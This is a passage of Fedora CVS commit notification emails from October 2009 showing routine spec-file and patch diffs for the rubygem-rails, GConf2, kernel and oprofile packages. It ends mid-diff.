Update of /cvs/pkgs/rpms/rubygem-rails/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9980/F-12

Modified Files:
	rubygem-rails.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-rails.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rails/F-12/rubygem-rails.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- rubygem-rails.spec	20 Sep 2009 16:40:30 -0000	1.17
+++ rubygem-rails.spec	7 Oct 2009 23:18:04 -0000	1.18
@@ -8,8 +8,9 @@
 
 Summary: Web-application framework
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -111,6 +112,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Sun Sep 20 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4
 



From lutter at fedoraproject.org  Wed Oct  7 23:18:04 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:18:04 +0000 (UTC)
Subject: rpms/rubygem-rails/devel rubygem-rails.spec,1.17,1.18
Message-ID: <20091007231804.5CACF11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-rails/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9980/devel

Modified Files:
	rubygem-rails.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-rails.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rails/devel/rubygem-rails.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- rubygem-rails.spec	20 Sep 2009 16:40:30 -0000	1.17
+++ rubygem-rails.spec	7 Oct 2009 23:18:04 -0000	1.18
@@ -8,8 +8,9 @@
 
 Summary: Web-application framework
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -111,6 +112,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Sun Sep 20 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4
 



From lutter at fedoraproject.org  Wed Oct  7 23:28:47 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:28:47 +0000 (UTC)
Subject: rpms/rubygem-rails/F-11 rubygem-rails.spec,1.17,1.18
Message-ID: <20091007232847.56F3D11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-rails/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14909

Modified Files:
	rubygem-rails.spec 
Log Message:
Remove geminstdir/guides from files; it's not in 2.3.2


Index: rubygem-rails.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rails/F-11/rubygem-rails.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- rubygem-rails.spec	7 Oct 2009 22:44:46 -0000	1.17
+++ rubygem-rails.spec	7 Oct 2009 23:28:45 -0000	1.18
@@ -8,7 +8,7 @@ Summary: Web-application framework
 Name: rubygem-%{gemname}
 Epoch: 1
 Version: 2.3.2
-Release: 4%{?dist}
+Release: 5%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -94,7 +94,6 @@ rm -rf %{buildroot}
 %{geminstdir}/doc
 %{geminstdir}/environments
 %{geminstdir}/fresh_rakefile
-%{geminstdir}/guides
 %{geminstdir}/helpers
 %{geminstdir}/html
 %{geminstdir}/lib
@@ -107,6 +106,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-5
+- Remove geminstdir/guides from files; it's not in 2.3.2
+
 * Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-4
 - Bump epoch; rails is not updatable across versions (bz 520843)
 



From mclasen at fedoraproject.org  Wed Oct  7 23:39:36 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 23:39:36 +0000 (UTC)
Subject: rpms/GConf2/F-12 GConf-gettext.patch, 1.1, 1.2 GConf2.spec, 1.113,
	1.114
Message-ID: <20091007233936.8D98011C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/GConf2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19005

Modified Files:
	GConf-gettext.patch GConf2.spec 
Log Message:
Fix a problem with schema translations


GConf-gettext.patch:
 backends/markup-tree.c  |   36 ++++++++++++++++++++++++++++++
 doc/gconf-1.0.dtd       |    2 -
 gconf/GConfX.idl        |    1 
 gconf/gconf-internals.c |    9 +++++++
 gconf/gconf-schema.c    |   57 ++++++++++++++++++++++++++++++++++++++++--------
 gconf/gconf-schema.h    |    3 ++
 gconf/gconftool.c       |   16 +++++++++++++
 7 files changed, 114 insertions(+), 10 deletions(-)

Index: GConf-gettext.patch
===================================================================
RCS file: /cvs/pkgs/rpms/GConf2/F-12/GConf-gettext.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- GConf-gettext.patch	27 Apr 2009 16:52:33 -0000	1.1
+++ GConf-gettext.patch	7 Oct 2009 23:39:34 -0000	1.2
@@ -1,7 +1,10 @@
-diff -up GConf-2.26.0/backends/markup-tree.c.gettext GConf-2.26.0/backends/markup-tree.c
---- GConf-2.26.0/backends/markup-tree.c.gettext	2009-04-26 23:33:05.258484987 -0400
-+++ GConf-2.26.0/backends/markup-tree.c	2009-04-26 23:34:25.026700526 -0400
-@@ -52,6 +52,7 @@ struct _MarkupEntry
+# Description: Support calling gettext at runtime and putting the gettext domain into the .schemas file instead of replicating translations in /usr/share/gconf/schemas/*.schemas *and* /var/lib/gconf/defaults/%gconf-tree-$LANG.xml. This saves in the order of 90 MB uncompressed/10 MB compressed on hard disks.
+# Ubuntu: https://bugs.launchpad.net/bugs/123025
+# Upstream: http://bugzilla.gnome.org/show_bug.cgi?id=568845
+diff -Nur -x '*.orig' -x '*~' gconf-2.28.0/backends/markup-tree.c gconf-2.28.0.new/backends/markup-tree.c
+--- gconf-2.28.0/backends/markup-tree.c	2009-08-19 17:35:32.000000000 +0200
++++ gconf-2.28.0.new/backends/markup-tree.c	2009-10-07 22:28:21.000000000 +0200
+@@ -52,6 +57,7 @@
    char       *schema_name;
    char       *mod_user;
    GTime       mod_time;
@@ -9,7 +12,7 @@ diff -up GConf-2.26.0/backends/markup-tr
  };
  
  static LocalSchemaInfo* local_schema_info_new  (void);
-@@ -1593,6 +1594,8 @@ markup_entry_set_value (MarkupEntry     
+@@ -1593,6 +1599,8 @@
                               gconf_schema_get_type (schema));
        gconf_schema_set_owner (current_schema,
                                gconf_schema_get_owner (schema));
@@ -18,7 +21,7 @@ diff -up GConf-2.26.0/backends/markup-tr
      }
  
    /* Update mod time */
-@@ -1805,6 +1808,8 @@ markup_entry_get_value (MarkupEntry *ent
+@@ -1805,6 +1813,8 @@
        else if (c_local_schema && c_local_schema->long_desc)
          gconf_schema_set_long_desc (schema, c_local_schema->long_desc);
  
@@ -27,26 +30,45 @@ diff -up GConf-2.26.0/backends/markup-tr
        return retval;
      }
  }
-@@ -2339,8 +2344,9 @@ parse_value_element (GMarkupParseContext
+@@ -2325,9 +2335,11 @@
+   /* check out the crack; "ltype" is for nodes storing a list,
+    * and "list_type" is for nodes storing a schema
+    */
++  const char *gettext_domain;
    const char *ltype;
    const char *list_type;
    const char *owner;
 +
    GConfValueType vtype;
--  const char *dummy1, *dummy2, *dummy3, *dummy4;
-+  const char *dummy1, *dummy2, *dummy3, *dummy4, *dummy5;
+   const char *dummy1, *dummy2, *dummy3, *dummy4;
    
- #if 0
-   g_assert (ELEMENT_IS ("entry") ||
-@@ -2377,6 +2383,7 @@ parse_value_element (GMarkupParseContext
-                           "muser", &dummy2,
-                           "mtime", &dummy3,
-                           "schema", &dummy4,
-+                          "gettext_domain", &dummy5,
- 
-                           NULL))
-     return;
-@@ -2683,6 +2690,7 @@ parse_entry_element (GMarkupParseContext
+@@ -2349,6 +2361,7 @@
+   car_type = NULL;
+   cdr_type = NULL;
+   owner = NULL;
++  gettext_domain = NULL;
+ 
+   if (!locate_attributes (context, element_name, attribute_names, attribute_values,
+                           error,
+@@ -2360,6 +2373,7 @@
+                           "car_type", &car_type,
+                           "cdr_type", &cdr_type,
+                           "owner", &owner,
++                          "gettext_domain", &gettext_domain,
+ 
+                           /* And these are just to eat any error messages */
+                           "name", &dummy1,
+@@ -2574,6 +2588,9 @@
+         if (owner)
+           gconf_schema_set_owner (schema, owner);
+ 
++        if (gettext_domain)
++          gconf_schema_set_gettext_domain (schema, gettext_domain);
++
+         gconf_value_set_schema_nocopy (*retval, schema);
+       }
+       break;
+@@ -2672,6 +2689,7 @@
        const char *mtime;
        const char *schema;
        const char *type;
@@ -54,7 +76,7 @@ diff -up GConf-2.26.0/backends/markup-tr
        const char *dummy1, *dummy2, *dummy3, *dummy4;
        const char *dummy5, *dummy6, *dummy7;
        GConfValue *value;
-@@ -2693,6 +2701,7 @@ parse_entry_element (GMarkupParseContext
+@@ -2682,6 +2700,7 @@
        mtime = NULL;
        schema = NULL;
        type = NULL;
@@ -62,7 +84,7 @@ diff -up GConf-2.26.0/backends/markup-tr
  
        if (!locate_attributes (context, element_name, attribute_names, attribute_values,
                                error,
-@@ -2701,6 +2710,7 @@ parse_entry_element (GMarkupParseContext
+@@ -2690,6 +2709,7 @@
                                "mtime", &mtime,
                                "schema", &schema,
                                "type", &type,
@@ -70,7 +92,7 @@ diff -up GConf-2.26.0/backends/markup-tr
                            
                                /* These are allowed but we don't use them until
                                 * parse_value_element
-@@ -2768,6 +2778,9 @@ parse_entry_element (GMarkupParseContext
+@@ -2757,6 +2777,9 @@
         */
        if (schema)
          entry->schema_name = g_strdup (schema);
@@ -80,7 +102,7 @@ diff -up GConf-2.26.0/backends/markup-tr
      }
    else
      {
-@@ -3716,6 +3729,7 @@ write_value_element (GConfValue *value,
+@@ -3704,6 +3727,7 @@
          GConfSchema *schema;
          GConfValueType stype;
          const char *owner;
@@ -88,7 +110,7 @@ diff -up GConf-2.26.0/backends/markup-tr
          
          schema = gconf_value_get_schema (value);
  
-@@ -3741,6 +3755,23 @@ write_value_element (GConfValue *value,
+@@ -3729,6 +3753,23 @@
              
              g_free (s);
            }
@@ -112,9 +134,9 @@ diff -up GConf-2.26.0/backends/markup-tr
          
          if (stype == GCONF_VALUE_LIST)
            {
-diff -up GConf-2.26.0/doc/gconf-1.0.dtd.gettext GConf-2.26.0/doc/gconf-1.0.dtd
---- GConf-2.26.0/doc/gconf-1.0.dtd.gettext	2009-04-26 23:33:17.240736103 -0400
-+++ GConf-2.26.0/doc/gconf-1.0.dtd	2009-04-26 23:34:25.027700384 -0400
+diff -Nur -x '*.orig' -x '*~' gconf-2.28.0/doc/gconf-1.0.dtd gconf-2.28.0.new/doc/gconf-1.0.dtd
+--- gconf-2.28.0/doc/gconf-1.0.dtd	2009-08-19 17:35:32.000000000 +0200
++++ gconf-2.28.0.new/doc/gconf-1.0.dtd	2009-10-07 22:28:20.000000000 +0200
 @@ -7,7 +7,7 @@
  <!-- A single schema. What I am trying to say is "this set of
  elements, in any order". Duplicate elements (apart from <locale>) are
@@ -124,10 +146,10 @@ diff -up GConf-2.26.0/doc/gconf-1.0.dtd.
  
  <!-- The key for this schema (e.g. /schemas/apps/foo/bar) -->
  <!ELEMENT key     (#PCDATA)>
-diff -up GConf-2.26.0/gconf/gconf-internals.c.gettext GConf-2.26.0/gconf/gconf-internals.c
---- GConf-2.26.0/gconf/gconf-internals.c.gettext	2009-04-26 23:34:10.994700035 -0400
-+++ GConf-2.26.0/gconf/gconf-internals.c	2009-04-26 23:34:53.767450191 -0400
-@@ -513,6 +513,7 @@ gconf_fill_corba_schema_from_gconf_schem
+diff -Nur -x '*.orig' -x '*~' gconf-2.28.0/gconf/gconf-internals.c gconf-2.28.0.new/gconf/gconf-internals.c
+--- gconf-2.28.0/gconf/gconf-internals.c	2009-08-19 17:35:32.000000000 +0200
++++ gconf-2.28.0.new/gconf/gconf-internals.c	2009-10-07 22:28:20.000000000 +0200
+@@ -513,6 +513,7 @@
    cs->short_desc = CORBA_string_dup (gconf_schema_get_short_desc (sc) ? gconf_schema_get_short_desc (sc) : "");
    cs->long_desc = CORBA_string_dup (gconf_schema_get_long_desc (sc) ? gconf_schema_get_long_desc (sc) : "");
    cs->owner = CORBA_string_dup (gconf_schema_get_owner (sc) ? gconf_schema_get_owner (sc) : "");
@@ -135,7 +157,7 @@ diff -up GConf-2.26.0/gconf/gconf-intern
  
    {
      gchar* encoded;
-@@ -600,6 +601,14 @@ gconf_schema_from_corba_schema(const Con
+@@ -600,6 +601,14 @@
          gconf_schema_set_owner(sc, cs->owner);
      }
        
@@ -150,10 +172,10 @@ diff -up GConf-2.26.0/gconf/gconf-intern
    {
      GConfValue* val;
  
-diff -up GConf-2.26.0/gconf/gconf-schema.c.gettext GConf-2.26.0/gconf/gconf-schema.c
---- GConf-2.26.0/gconf/gconf-schema.c.gettext	2009-04-26 23:33:26.787483545 -0400
-+++ GConf-2.26.0/gconf/gconf-schema.c	2009-04-26 23:35:54.240450142 -0400
-@@ -32,9 +32,10 @@ typedef struct {
+diff -Nur -x '*.orig' -x '*~' gconf-2.28.0/gconf/gconf-schema.c gconf-2.28.0.new/gconf/gconf-schema.c
+--- gconf-2.28.0/gconf/gconf-schema.c	2009-08-19 17:35:32.000000000 +0200
++++ gconf-2.28.0.new/gconf/gconf-schema.c	2009-10-07 22:28:20.000000000 +0200
+@@ -32,9 +32,10 @@
    GConfValueType car_type; /* Pair car type of the described entry */
    GConfValueType cdr_type; /* Pair cdr type of the described entry */
    gchar* locale;       /* Schema locale */
@@ -165,7 +187,7 @@ diff -up GConf-2.26.0/gconf/gconf-schema
    GConfValue* default_value; /* Default value of the key */
  } GConfRealSchema;
  
-@@ -63,7 +64,6 @@ gconf_schema_free (GConfSchema* sc)
+@@ -63,7 +64,6 @@
    g_free (real->locale);
    g_free (real->short_desc);
    g_free (real->long_desc);
@@ -173,7 +195,7 @@ diff -up GConf-2.26.0/gconf/gconf-schema
  
    if (real->default_value)
      gconf_value_free (real->default_value);
-@@ -91,7 +91,9 @@ gconf_schema_copy (const GConfSchema* sc
+@@ -91,7 +91,9 @@
  
    dest->long_desc = g_strdup (real->long_desc);
  
@@ -184,7 +206,7 @@ diff -up GConf-2.26.0/gconf/gconf-schema
  
    dest->default_value = real->default_value ? gconf_value_copy (real->default_value) : NULL;
    
-@@ -136,6 +138,17 @@ gconf_schema_set_locale (GConfSchema* sc
+@@ -136,6 +138,17 @@
      REAL_SCHEMA (sc)->locale = NULL;
  }
  
@@ -202,7 +224,7 @@ diff -up GConf-2.26.0/gconf/gconf-schema
  void          
  gconf_schema_set_short_desc (GConfSchema* sc, const gchar* desc)
  {
-@@ -169,11 +182,8 @@ gconf_schema_set_owner (GConfSchema* sc,
+@@ -169,11 +182,8 @@
  {
    g_return_if_fail (owner == NULL || g_utf8_validate (owner, -1, NULL));
    
@@ -215,7 +237,7 @@ diff -up GConf-2.26.0/gconf/gconf-schema
    else
      REAL_SCHEMA (sc)->owner = NULL;
  }
-@@ -228,6 +238,14 @@ gconf_schema_validate (const GConfSchema
+@@ -228,6 +238,14 @@
        return FALSE;
      }
  
@@ -230,7 +252,7 @@ diff -up GConf-2.26.0/gconf/gconf-schema
    if (real->owner && !g_utf8_validate (real->owner, -1, NULL))
      {
        g_set_error (err, GCONF_ERROR,
-@@ -299,11 +317,32 @@ gconf_schema_get_locale (const GConfSche
+@@ -299,11 +317,32 @@
  }
  
  const char*
@@ -264,7 +286,7 @@ diff -up GConf-2.26.0/gconf/gconf-schema
  }
  
  const char*
-@@ -311,7 +350,7 @@ gconf_schema_get_long_desc (const GConfS
+@@ -311,7 +350,7 @@
  {
    g_return_val_if_fail (schema != NULL, NULL);
  
@@ -273,10 +295,10 @@ diff -up GConf-2.26.0/gconf/gconf-schema
  }
  
  const char*
-diff -up GConf-2.26.0/gconf/gconf-schema.h.gettext GConf-2.26.0/gconf/gconf-schema.h
---- GConf-2.26.0/gconf/gconf-schema.h.gettext	2009-04-26 23:33:33.979744088 -0400
-+++ GConf-2.26.0/gconf/gconf-schema.h	2009-04-26 23:34:25.030737043 -0400
-@@ -48,6 +48,8 @@ void gconf_schema_set_cdr_type          
+diff -Nur -x '*.orig' -x '*~' gconf-2.28.0/gconf/gconf-schema.h gconf-2.28.0.new/gconf/gconf-schema.h
+--- gconf-2.28.0/gconf/gconf-schema.h	2009-08-19 17:35:32.000000000 +0200
++++ gconf-2.28.0.new/gconf/gconf-schema.h	2009-10-07 22:28:20.000000000 +0200
+@@ -48,6 +48,8 @@
                                              GConfValueType  type);
  void gconf_schema_set_locale               (GConfSchema    *sc,
                                              const gchar    *locale);
@@ -285,7 +307,7 @@ diff -up GConf-2.26.0/gconf/gconf-schema
  void gconf_schema_set_short_desc           (GConfSchema    *sc,
                                              const gchar    *desc);
  void gconf_schema_set_long_desc            (GConfSchema    *sc,
-@@ -65,6 +67,7 @@ GConfValueType gconf_schema_get_list_typ
+@@ -65,6 +67,7 @@
  GConfValueType gconf_schema_get_car_type      (const GConfSchema *schema);
  GConfValueType gconf_schema_get_cdr_type      (const GConfSchema *schema);
  const char*    gconf_schema_get_locale        (const GConfSchema *schema);
@@ -293,10 +315,10 @@ diff -up GConf-2.26.0/gconf/gconf-schema
  const char*    gconf_schema_get_short_desc    (const GConfSchema *schema);
  const char*    gconf_schema_get_long_desc     (const GConfSchema *schema);
  const char*    gconf_schema_get_owner         (const GConfSchema *schema);
-diff -up GConf-2.26.0/gconf/gconftool.c.gettext GConf-2.26.0/gconf/gconftool.c
---- GConf-2.26.0/gconf/gconftool.c.gettext	2009-04-26 23:33:41.907451190 -0400
-+++ GConf-2.26.0/gconf/gconftool.c	2009-04-26 23:34:25.034736752 -0400
-@@ -3295,6 +3295,7 @@ struct _SchemaInfo {
+diff -Nur -x '*.orig' -x '*~' gconf-2.28.0/gconf/gconftool.c gconf-2.28.0.new/gconf/gconftool.c
+--- gconf-2.28.0/gconf/gconftool.c	2009-08-19 17:35:32.000000000 +0200
++++ gconf-2.28.0.new/gconf/gconftool.c	2009-10-07 22:28:20.000000000 +0200
+@@ -3295,6 +3295,7 @@
    GConfValueType cdr_type;
    GConfValue* global_default;
    GHashTable* hash;
@@ -304,7 +326,7 @@ diff -up GConf-2.26.0/gconf/gconftool.c.
  };
  
  static int
-@@ -3547,6 +3548,15 @@ extract_global_info(xmlNodePtr node,
+@@ -3547,6 +3548,15 @@
                else
                  g_printerr (_("WARNING: empty <applyto> node"));
              }
@@ -320,7 +342,7 @@ diff -up GConf-2.26.0/gconf/gconftool.c.
            else
              g_printerr (_("WARNING: node <%s> not understood below <schema>\n"),
  			iter->name);
-@@ -3636,6 +3646,9 @@ process_locale_info(xmlNodePtr node, Sch
+@@ -3636,6 +3646,9 @@
    if (info->owner != NULL)
      gconf_schema_set_owner(schema, info->owner);
  
@@ -330,7 +352,7 @@ diff -up GConf-2.26.0/gconf/gconftool.c.
    xmlFree(name);
  
    /* Locale-specific info */
-@@ -3765,6 +3778,7 @@ get_schema_from_xml(xmlNodePtr node, gch
+@@ -3765,6 +3778,7 @@
    info.apply_to = NULL;
    info.owner = NULL;
    info.global_default = NULL;
@@ -338,7 +360,7 @@ diff -up GConf-2.26.0/gconf/gconftool.c.
    info.hash = g_hash_table_new(g_str_hash, g_str_equal);
    
    extract_global_info(node, &info);
-@@ -3801,6 +3815,8 @@ get_schema_from_xml(xmlNodePtr node, gch
+@@ -3801,6 +3815,8 @@
              ;  /* nothing */
            else if (strcmp((char *)iter->name, "applyto") == 0)
              ;  /* nothing */
@@ -347,10 +369,10 @@ diff -up GConf-2.26.0/gconf/gconftool.c.
            else if (strcmp((char *)iter->name, "locale") == 0)
              {
                process_locale_info(iter, &info);
-diff -up GConf-2.26.0/gconf/GConfX.idl.gettext GConf-2.26.0/gconf/GConfX.idl
---- GConf-2.26.0/gconf/GConfX.idl.gettext	2009-04-26 23:33:58.457483190 -0400
-+++ GConf-2.26.0/gconf/GConfX.idl	2009-04-26 23:34:53.764448732 -0400
-@@ -16,6 +16,7 @@ struct ConfigSchema {
+diff -Nur -x '*.orig' -x '*~' gconf-2.28.0/gconf/GConfX.idl gconf-2.28.0.new/gconf/GConfX.idl
+--- gconf-2.28.0/gconf/GConfX.idl	2009-08-19 17:35:32.000000000 +0200
++++ gconf-2.28.0.new/gconf/GConfX.idl	2009-10-07 22:28:20.000000000 +0200
+@@ -16,6 +16,7 @@
    string short_desc;
    string long_desc;
    string owner;


Index: GConf2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/GConf2/F-12/GConf2.spec,v
retrieving revision 1.113
retrieving revision 1.114
diff -u -p -r1.113 -r1.114
--- GConf2.spec	23 Sep 2009 22:21:50 -0000	1.113
+++ GConf2.spec	7 Oct 2009 23:39:35 -0000	1.114
@@ -7,7 +7,7 @@
 Summary: A process-transparent configuration system
 Name: GConf2
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: System Environment/Base
 Source: http://download.gnome.org/sources/GConf/2.28/GConf-%{version}.tar.bz2
@@ -151,6 +151,9 @@ fi
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
+- Fix a problem with schema translations
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 



From davej at fedoraproject.org  Wed Oct  7 23:42:38 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Wed,  7 Oct 2009 23:42:38 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1847,1.1848
Message-ID: <20091007234238.115D511C00E6@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19883

Modified Files:
	kernel.spec 
Log Message:
Don't touch the initramfs file during %build.
  It's ghosted because mkinitrd/dracut creates it, so this
  should be unnecessary.


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1847
retrieving revision 1.1848
diff -u -p -r1.1847 -r1.1848
--- kernel.spec	7 Oct 2009 17:26:29 -0000	1.1847
+++ kernel.spec	7 Oct 2009 23:42:37 -0000	1.1848
@@ -1555,11 +1555,6 @@ EOF
     mkdir -p $RPM_BUILD_ROOT/%{image_install_path}
     install -m 644 .config $RPM_BUILD_ROOT/boot/config-$KernelVer
     install -m 644 System.map $RPM_BUILD_ROOT/boot/System.map-$KernelVer
-%if %{with_dracut}
-    touch $RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img
-%else
-    touch $RPM_BUILD_ROOT/boot/initrd-$KernelVer.img
-%endif
     if [ -f arch/$Arch/boot/zImage.stub ]; then
       cp arch/$Arch/boot/zImage.stub $RPM_BUILD_ROOT/%{image_install_path}/zImage.stub-$KernelVer || :
     fi
@@ -2080,6 +2075,11 @@ fi
 
 %changelog
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>
+- Don't touch the initramfs file during %build.
+  It's ghosted because mkinitrd/dracut creates it, so this
+  should be unnecessary.
+
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>
 - Enable FUNCTION_GRAPH_TRACER on x86-64.
 
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>



From wcohen at fedoraproject.org  Thu Oct  8 00:17:46 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Thu,  8 Oct 2009 00:17:46 +0000 (UTC)
Subject: rpms/oprofile/devel oprofile-0.9.5-timer.patch, NONE,
	1.1 oprofile.spec, 1.82, 1.83
Message-ID: <20091008001746.B930E11C00E6@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/oprofile/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5043

Modified Files:
	oprofile.spec 
Added Files:
	oprofile-0.9.5-timer.patch 
Log Message:
* Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
- Allow timer mode to work.
- Correct location for addditional files in man pages. Resolves: rhbz #508669



oprofile-0.9.5-timer.patch:
 opcontrol |   10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE oprofile-0.9.5-timer.patch ---
diff -up oprofile-0.9.5/utils/opcontrol.orig oprofile-0.9.5/utils/opcontrol
--- oprofile-0.9.5/utils/opcontrol.orig	2009-07-31 13:10:18.000000000 -0400
+++ oprofile-0.9.5/utils/opcontrol	2009-10-07 20:02:06.000000000 -0400
@@ -586,7 +586,7 @@ verify_counters()
 # setup any needed default value in chosen events
 normalise_events()
 {
-	if test "$NR_CHOSEN" -le 0; then
+	if test "$NR_CHOSEN" -le 0 || test "$IS_TIMER" = 1; then
 		return
 	fi
 
@@ -1449,8 +1449,12 @@ do_start_daemon()
 		--separate-thread=$SEPARATE_THREAD \
 		--separate-cpu=$SEPARATE_CPU"
 
-	if ! test -z "$OPROFILED_EVENTS"; then
-		OPD_ARGS="$OPD_ARGS --events=$OPROFILED_EVENTS"
+	if test "$IS_TIMER" = 1; then
+		OPD_ARGS="$OPD_ARGS --events="
+	else
+		if ! test -z "$OPROFILED_EVENTS"; then
+			OPD_ARGS="$OPD_ARGS --events=$OPROFILED_EVENTS"
+		fi
 	fi
 
 	if test "$VMLINUX" = "none"; then


Index: oprofile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oprofile/devel/oprofile.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- oprofile.spec	4 Sep 2009 15:31:55 -0000	1.82
+++ oprofile.spec	8 Oct 2009 00:17:43 -0000	1.83
@@ -1,7 +1,7 @@
 Summary: System wide profiler
 Name: oprofile
 Version: 0.9.5
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: Development/System
 #
@@ -13,6 +13,7 @@ Patch10: oprofile-0.4-guess2.patch
 Patch63: oprofile-0.7-libs.patch
 Patch83: oprofile-0.9.3-xen.patch
 #Patch104: oprofile-jvmpi-lgpl.patch
+Patch105: oprofile-0.9.5-timer.patch
 
 URL: http://oprofile.sf.net
 
@@ -81,6 +82,7 @@ agent library.
 %patch63 -p1 -b .libs
 #%patch83 -p1 -b .xen
 #%patch104 -p1 -b .lgpl
+%patch105 -p1 -b .timer
 
 ./autogen.sh
 
@@ -115,6 +117,11 @@ CXXFLAGS=-g;     export CXXFLAGS
 
 make CFLAGS="$RPM_OPT_FLAGS"
 
+#tweak the manual pages
+find -path "*/doc/*.1" -exec \
+    sed -i -e \
+     's,/doc/oprofile/,/doc/oprofile-%{version}/,g' {} \;
+
 %install
 rm -rf ${RPM_BUILD_ROOT}
 
@@ -223,6 +230,10 @@ exit 0
 /etc/ld.so.conf.d/*
 
 %changelog
+* Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
+- Allow timer mode to work.
+- Correct location for addditional files in man pages. Resolves: rhbz #508669
+
 * Fri Sep 4 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-2
 - Bump version and rebuild.
 



From davej at fedoraproject.org  Thu Oct  8 00:26:34 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Thu,  8 Oct 2009 00:26:34 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1848,1.1849
Message-ID: <20091008002634.6269611C00E6@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8587

Modified Files:
	kernel.spec 
Log Message:
Don't mark the initramfs file as a ghost.


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1848
retrieving revision 1.1849
diff -u -p -r1.1848 -r1.1849
--- kernel.spec	7 Oct 2009 23:42:37 -0000	1.1848
+++ kernel.spec	8 Oct 2009 00:26:32 -0000	1.1849
@@ -1555,6 +1555,11 @@ EOF
     mkdir -p $RPM_BUILD_ROOT/%{image_install_path}
     install -m 644 .config $RPM_BUILD_ROOT/boot/config-$KernelVer
     install -m 644 System.map $RPM_BUILD_ROOT/boot/System.map-$KernelVer
+%if %{with_dracut}
+    touch $RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img
+%else
+    touch $RPM_BUILD_ROOT/boot/initrd-$KernelVer.img
+%endif
     if [ -f arch/$Arch/boot/zImage.stub ]; then
       cp arch/$Arch/boot/zImage.stub $RPM_BUILD_ROOT/%{image_install_path}/zImage.stub-$KernelVer || :
     fi
@@ -2031,9 +2036,9 @@ fi
 %endif\
 /lib/modules/%{KVERREL}%{?2:.%{2}}/modules.*\
 %if %{with_dracut}\
-%ghost /boot/initramfs-%{KVERREL}%{?2:.%{2}}.img\
